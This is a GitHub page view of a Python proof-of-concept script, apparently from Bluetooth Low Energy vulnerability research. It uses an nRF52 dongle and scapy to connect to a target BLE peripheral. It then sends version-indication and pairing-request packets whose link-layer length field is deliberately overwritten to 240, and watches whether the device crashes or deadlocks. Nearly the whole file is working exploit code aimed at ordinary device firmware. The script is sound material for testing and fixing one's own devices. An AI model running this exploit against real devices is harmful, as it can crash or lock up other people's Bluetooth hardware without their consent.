-
Notifications
You must be signed in to change notification settings - Fork 70
/
Copy pathlink_layer_length_overflow.py
executable file
·207 lines (179 loc) · 8.06 KB
/
link_layer_length_overflow.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#!/usr/bin/python
import os
import platform
import sys
from time import sleep
# libs
sys.path.insert(0, os.getcwd() + '/libs')
import colorama
from colorama import Fore
from drivers.NRF52_dongle import NRF52Dongle
from scapy.layers.bluetooth4LE import *
from scapy.layers.bluetooth import *
# timeout lib
from timeout_lib import start_timeout, disable_timeout, update_timeout
sleep(1.0)
# Default master address
master_address = '5d:36:ac:90:0b:22'
access_address = 0x9a328370
# Internal vars
none_count = 0
end_connection = False
connecting = False
slave_addr_type = 0
switch_length_pkt = False
run_script = True
disconn_count = 0
# Autoreset colors
colorama.init(autoreset=True)
# Get serial port from command line
if len(sys.argv) >= 2:
serial_port = sys.argv[1]
elif platform.system() == 'Linux':
serial_port = '/dev/ttyACM0'
elif platform.system() == 'Windows':
serial_port = 'COM1'
else:
print(Fore.RED + 'Platform not identified')
sys.exit(0)
print(Fore.YELLOW + 'Serial port: ' + serial_port)
# Get advertiser_address from command line (peripheral addr)
if len(sys.argv) >= 3:
advertiser_address = sys.argv[2].lower()
else:
advertiser_address = '80:ea:ca:80:00:01'
print(Fore.YELLOW + 'Advertiser Address: ' + advertiser_address.upper())
def crash_timeout():
print(Fore.RED + "No advertisement from " + advertiser_address.lower() +
' received\nThe device may have crashed!!!')
# disable_timeout('scan_timeout')
def scan_timeout():
global connecting, slave_addr_type
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
driver.send(scan_req)
connecting = False
start_timeout('scan_timeout', 2, scan_timeout)
def completion_timeout():
global disconn_count, run_script
if disconn_count < 4:
disconn_count += 1
print(Fore.YELLOW + 'Peripheral not responding')
else:
print(Fore.RED + "Peripheral seems unresponsive (deadlock).\n"
"Check if you can connect to the peripheral by other means (i.g., mobile app)")
run_script = False
# Open serial port of NRF52 Dongle
driver = NRF52Dongle(serial_port, '115200')
# Send scan request
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_addr_type) / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
driver.send(scan_req)
start_timeout('scan_timeout', 2, scan_timeout)
print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
while run_script:
pkt = None
# Receive packet from the NRF52 Dongle
data = driver.raw_receive()
if data:
# Decode Bluetooth Low Energy Data
pkt = BTLE(data)
# if packet is incorrectly decoded, you may not be using the dongle
if pkt is None:
none_count += 1
if none_count >= 4:
print(Fore.RED + 'NRF52 Dongle not detected')
sys.exit(0)
continue
elif BTLE_DATA in pkt and BTLE_EMPTY_PDU not in pkt:
update_timeout('scan_timeout')
# Print slave data channel PDUs summary
print(Fore.MAGENTA + "Slave RX <--- " + pkt.summary()[7:])
# --------------- Process Link Layer Packets here ------------------------------------
# Check if packet from advertised is received
if pkt and (BTLE_SCAN_RSP in pkt or BTLE_ADV in pkt) and pkt.AdvA == advertiser_address.lower() \
and connecting == False:
connecting = True
update_timeout('scan_timeout')
disable_timeout('crash_timeout')
slave_addr_type = pkt.TxAdd
print(Fore.GREEN + advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')
# Send connection request to advertiser
conn_request = BTLE() / BTLE_ADV(RxAdd=slave_addr_type, TxAdd=0) / BTLE_CONNECT_REQ(
InitA=master_address,
AdvA=advertiser_address,
AA=access_address, # Access address (any)
crc_init=0x179a9c, # CRC init (any)
win_size=2, # 2.5 of windows size (anchor connection window size)
win_offset=1, # 1.25ms windows offset (anchor connection point)
interval=16, # 20ms connection interval
latency=0, # Slave latency (any)
timeout=50, # Supervision timeout, 500ms (any)
chM=0x1FFFFFFFFF, # Any
hop=5, # Hop increment (any)
SCA=0, # Clock tolerance
)
# Yes, we're sending raw link layer messages in Python. Don't tell anyone as this is forbidden!!!
driver.send(conn_request)
elif BTLE_DATA in pkt and connecting == True:
connecting = False
print(Fore.GREEN + 'Slave Connected (L2Cap channel established)')
start_timeout('completion_timeout', 1.5, completion_timeout)
# Send version indication request
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_VERSION_IND(version='4.2')
if switch_length_pkt is True:
switch_length_pkt = False
print(Fore.YELLOW + 'Sending oversized version indication')
pkt[BTLE_DATA].len = 240 # The magic happens here
end_connection = True
driver.send(pkt)
elif LL_SLAVE_FEATURE_REQ in pkt:
# 1) Send Feature request
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_FEATURE_RSP(
feature_set='le_encryption+le_data_len_ext')
driver.send(pkt)
elif LL_VERSION_IND in pkt:
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_REQ(
max_tx_bytes=247 + 4, max_rx_bytes=247 + 4)
driver.send(pkt)
elif LL_LENGTH_RSP in pkt or LL_UNKNOWN_RSP in pkt:
pairing_req = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / SM_Hdr() / SM_Pairing_Request(
iocap=4, oob=0, authentication=0x05, max_key_size=16, initiator_key_distribution=0x07,
responder_key_distribution=0x07)
if switch_length_pkt is False:
switch_length_pkt = True
print(Fore.YELLOW + 'Sending oversized pairing request')
pairing_req[BTLE_DATA].len = 240 # The magic happens here
driver.send(pairing_req)
end_connection = True
elif L2CAP_Connection_Parameter_Update_Request in pkt:
pairing_req = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / SM_Hdr() / SM_Pairing_Request(
iocap=4, oob=0, authentication=0x05, max_key_size=16, initiator_key_distribution=0x07,
responder_key_distribution=0x07)
if switch_length_pkt is False:
switch_length_pkt = True
print(Fore.YELLOW + 'Sending oversized pairing request')
pairing_req[BTLE_DATA].len = 240 # The magic happens here
driver.send(pairing_req)
end_connection = True
elif SM_Pairing_Response in pkt:
pairing_req = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / SM_Hdr() / SM_Public_Key()
driver.send(pairing_req) # Send an arbitrary smp packet (public key)
elif LL_LENGTH_REQ in pkt:
length_rsp = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_RSP(
max_tx_bytes=247 + 4, max_rx_bytes=247 + 4)
driver.send(length_rsp) # Send a normal length response
elif end_connection == True:
end_connection = False
disconn_count = 0
disable_timeout('completion_timeout')
scan_req = BTLE() / BTLE_ADV() / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
print(Fore.YELLOW + 'Connection reset, malformed packet was sent')
print(Fore.YELLOW + 'Waiting advertisements from ' + advertiser_address)
driver.send(scan_req)
start_timeout('crash_timeout', 7, crash_timeout)
sleep(0.01)